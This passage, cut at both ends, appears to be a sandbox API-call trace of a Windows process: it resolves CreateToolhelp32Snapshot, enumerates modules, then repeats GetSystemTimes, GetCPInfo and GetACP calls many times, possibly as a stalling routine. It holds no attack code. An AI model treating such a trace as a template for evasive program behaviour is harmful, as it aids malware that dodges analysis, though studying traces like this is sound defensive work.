Flags=0x8, Size=0x80) returned 0x2b11f8 [0051.733] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0051.734] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2b11f8) returned 0x80 [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.734] SetLastError (dwErrCode=0x0) [0051.734] GetLastError () returned 0x0 [0051.735] SetLastError (dwErrCode=0x0) [0051.735] GetLastError () returned 0x0 [0051.735] SetLastError (dwErrCode=0x0) [0051.735] GetLastError () returned 0x0 [0051.735] SetLastError (dwErrCode=0x0) [0051.735] GetLastError () returned 0x0 [0051.735] SetLastError (dwErrCode=0x0) [0051.735] GetLastError () returned 0x0 [0051.735] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.735] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0051.735] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0051.735] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0051.737] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0051.737] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0051.737] GetTickCount () returned 0x1bd45 [0051.737] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.738] GetACP () returned 0x4e4 [0051.738] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.739] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.739] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.740] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.740] GetACP () returned 0x4e4 [0051.741] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.741] GetACP () returned 0x4e4 [0051.741] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.741] GetACP () returned 0x4e4 [0051.741] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.741] GetACP () returned 0x4e4 [0051.741] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.742] GetACP () returned 0x4e4 [0051.742] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.743] GetACP () returned 0x4e4 [0051.743] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.744] GetACP () returned 0x4e4 [0051.744] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.745] GetACP () returned 0x4e4 [0051.745] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.746] GetACP () returned 0x4e4 [0051.746] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 